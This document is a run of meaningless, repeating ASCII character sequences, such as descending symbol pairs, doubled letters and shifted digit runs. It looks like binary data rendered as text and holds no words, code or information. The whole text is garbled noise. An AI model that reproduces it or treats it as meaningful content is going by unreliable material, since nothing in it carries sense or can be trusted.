-}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKIIIIIIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefeccccccdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?}~}~}}}}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?}}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefeccccdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPOLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMLKLKLKLKIIIIIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}}}}}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefebabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefedcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgdcdcdcccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcccdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIIIIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}}}}}}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgcdcdccccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIJIJIIIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgccdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIIIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihgfefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=~}}}}}}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefedcdcccccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIJIJIIIIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKIIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=}~}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=}}}}}}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijifefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKLKLKHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdccccccbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMLKLKJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIIIIIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=>=>=>=|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=>=<;<;<;~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;}}}}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIJIJIJIHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedcdcdcdcbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMJIIIIIIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;~}~}~}~}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefedccccccdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;~}~}~}}}|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;}}}~}~}~|{|{|{|{zyzyzyzyxwxwxwxwvuvuvuvutstststsrqrqrqrqpopopoponmnmnmnmlklklklkjijijijihghghghgfefefefecdcdcdcdbabababa`_`_`_`_^]^]^]^]\[\[\[\[ZYZYZYZYXWXWXWXWVUVUVUVUTSTSTSTSRQRQRQRQPOPOPOPONMNMNMNMIJIJIJIJHGHGHGHGFEFEFEFEDCDCDCDCBABABABA@?@?@?@?>=>=>=>=<;<;<;<;<;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0///.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121///0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121/0/0////.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121//0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343212121210/0/////.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:987878787656565654343434321212121.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343210/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:98787878765656565434343430//////0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656543434343//////0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:98787878765656565434343210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:98787878765656565212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656521212121/////0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656521212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656521212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;<;<;<;:9:9:9:9878787876565656521212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - <;:9:9:9:9878787876565656543434321212121/0/0/0/0.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - :9:9:9:987878787656565654343434321212121/0/0/0//.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - :9:9:9:987878787656565654343434321212121////0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - :9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - :9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - :9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - :9:9:9:9878787876565656543434343212121210/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!        - - - - IIOOPPQQ::998877uuvvwwxx,,++**))uuvvwwxx,,++**))uuvvwwxx,,++**))uuvvwwxx,,++**))uuvvwwxx,,++**)) !wwvvuutt**++,,--wwvvuutt**++,,--wwvvuutt**++,,--wwvvuutt**++,,--wwvvuutt**++,,--mmllkkjj__``aabb'&&%%$$#""!! ""!! ""!! ""!! ""!! '(())**+mmllkkjj44556677mmllkkjj44556677mmllkkjjRRSSTTUU66554321yyzz{{||((''&&%%yyzz{{||((''&&%%yyzz{{||((''&&%%yyzz{{||((''&&%%yyzz{{||((''&&%%!""##$$%ssrrqqpp..//0011ssrrqqpp..//0011ssrrqqpp..//0011ssrrqqpp..//0011ssrrqqpp..//0011iiccbbaacciijjkk#""!! +,,--../iihhggff8899::;;iihhggff8899::;;iihhggff}}||{{VVWWXXYY0//..--,}}~~$$##""!!}}~~$$##""!!}}~~$$##""!!}}~~$$##""!!}}~~$$##""!!%&&''(()oonnmmll22334455oonnmmll22334455oonnmmll22334455oonnmmll22334455oonnmmll22334455``__^^]]llmmnnoo/0123455eeddccbb<<==>>??eeddccbb<<==>>??eeddccbb zzyyxxwwZZ[[\\]],++**))(     )**++,,-kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899kkjjiihh66778899\\[[ZZYYppqqrrss66778899aa``__^^@@AABBCCaa``__^^@@AABBCCaa``__^^!!""##$$vvuuttss^^__``aa(''&&%%$-..//012ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==ggffeedd::;;<<==XXWWVVUUttuuvvww::;;<<==]]\\[[ZZDDEEFFGG]]\\[[ZZDDEEFFGG]]\\[[ZZ%%&&''((rrqqppoobbcciijj$##""!! 34556677ccbbaa``>>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AAccbbaa``>>??@@AATTSSRRQQxxyyzz{{      >>??@@AAYYXXWWVVHHIIJJKKYYXXWWVVHHIIJJKKYYXXWWVV))**++,,nnmmllkkkkllmmnn 8899::;;__^^]]\\BBCCDDEE__^^]]\\BBCCDDEE__^^]]\\BBCCDDEE__^^]]\\BBCCDDEE__^^]]\\BBCCDDEEPPOOIIHH||}} - - - -  - -  - -  - -  - - }}||{{BBCCDDEEUUTTSSRRLLMMNNOOUUTTSSRRLLMMNNOOUUTTSSRR44556677--..//00jjiiccbbooppqqrr     <<==>>??[[ZZYYXXFFGGHHII[[ZZYYXXFFGGHHII[[ZZYYXXFFGGHHII[[ZZYYXXFFGGHHII[[ZZYYXXFFGGHHIIGGFFEEDDzzyyxxwwFFGGHHIIQQPPOONNPPQQRRSSQQPPOONNPPQQRRSSQQPPOONN8899::;;~~}}11223344aa``__^^ssttuuvv - - - - - - - - - - }}@@AABBCCWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMMWWVVUUTTJJKKLLMMCCBBAA@@vvuuttssJKLMNOOPMMLLKKJJTTUUVVWWMMLLKKJJTTUUVVWWMMLLKKJJ<<==>>??||{{zzyy55667788]]\\[[ZZwwxxyyzz||{{zzyyDDEEFFGGSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQSSRRQQPPNNOOPPQQ??>>==<< - -rrqqppooPQQRRSSTIIHHGGFFXXYYZZ[[IIHHGGFFXXYYZZ[[IIHHGGFF@@AABBCCxxwwvvuu99::;;<>??@@UUTTSSRR ttssrrqqNOOPPQQRKKJJIIHHVVWWXXYYKKJJIIHHVVWWXXYYKKJJIIHHVVWWXXYYKKJJIIHHVVWWXXYYKKJJIIHHVVWWXXYY776655//     jjiiccbbXYYZZ[[\AA@@??>>``aabbccAA@@??>>``aabbccAA@@??>>HHIIJJKKppoonnmmAABBCCDDQQPPOOII - - ppoonnmmRSSTTUUVGGFFEEDDZZ[[\\]]GGFFEEDDZZ[[\\]]GGFFEEDDZZ[[\\]]GGFFEEDDZZ[[\\]]GGFFEEDDZZ[[\\]]..--,,++aa``__^^\]]^^__`==<<;;::ddeeffgg==<<;;::ddeeffgg==<<;;::LLMMNNOOllkkjjiiEEFFGGHHHHGGFFEE - - - - - - - - - - llkkjjiiVWWXXYYZCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aaCCBBAA@@^^__``aa**))(('']]\\[[ZZ`aabbccd99887766hhiijjkk99887766hhiijjkk99887766PPQQRRSShhggffeeIIJJKKLLDDCCBBAA     ccbbaa``Z[[\\]]^??>>==<>==<>==<>==<>==<>==__^^]]\\^__``aab;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii;;::9988ffgghhii""!! 